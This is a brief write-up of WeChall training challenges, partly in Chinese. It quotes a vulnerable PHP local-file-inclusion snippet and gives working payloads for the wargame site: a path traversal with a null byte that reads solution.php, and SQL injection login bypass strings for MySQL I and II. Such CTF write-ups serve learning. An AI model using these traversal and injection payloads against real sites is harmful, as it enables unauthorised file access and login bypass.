PHP - Local File Inclusion

###############################
### Here is your exploit :) ###
###############################
$code = ‘$filename = \‘pages/\‘.(isset($_GET["file"])?$_GET["file"]:"welcome").\‘.html\‘;‘;
$code_emulate_pnb = ‘$filename = Common::substrUntil($filename, "\\0");‘; # Emulate Poison Null Byte for PHP>=5.3.4
 

$code2 = ‘include $filename;‘;
### End of exploit ###

將$code後的.html去掉，則可以構造語句截斷url編碼後%00,另一方面利用../跳轉目錄

則提交Payload

http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

PHP-0817

Payload:

https://www.wechall.net/challenge/php0817/index.php?which=solution

Training:MYSQL I

Payload:

Username=‘admin‘ and 1=1#

Training:MYSQL II

Payload:

username=admin‘ union select 1,‘admin‘,md5(‘password‘);#

WeChall writeup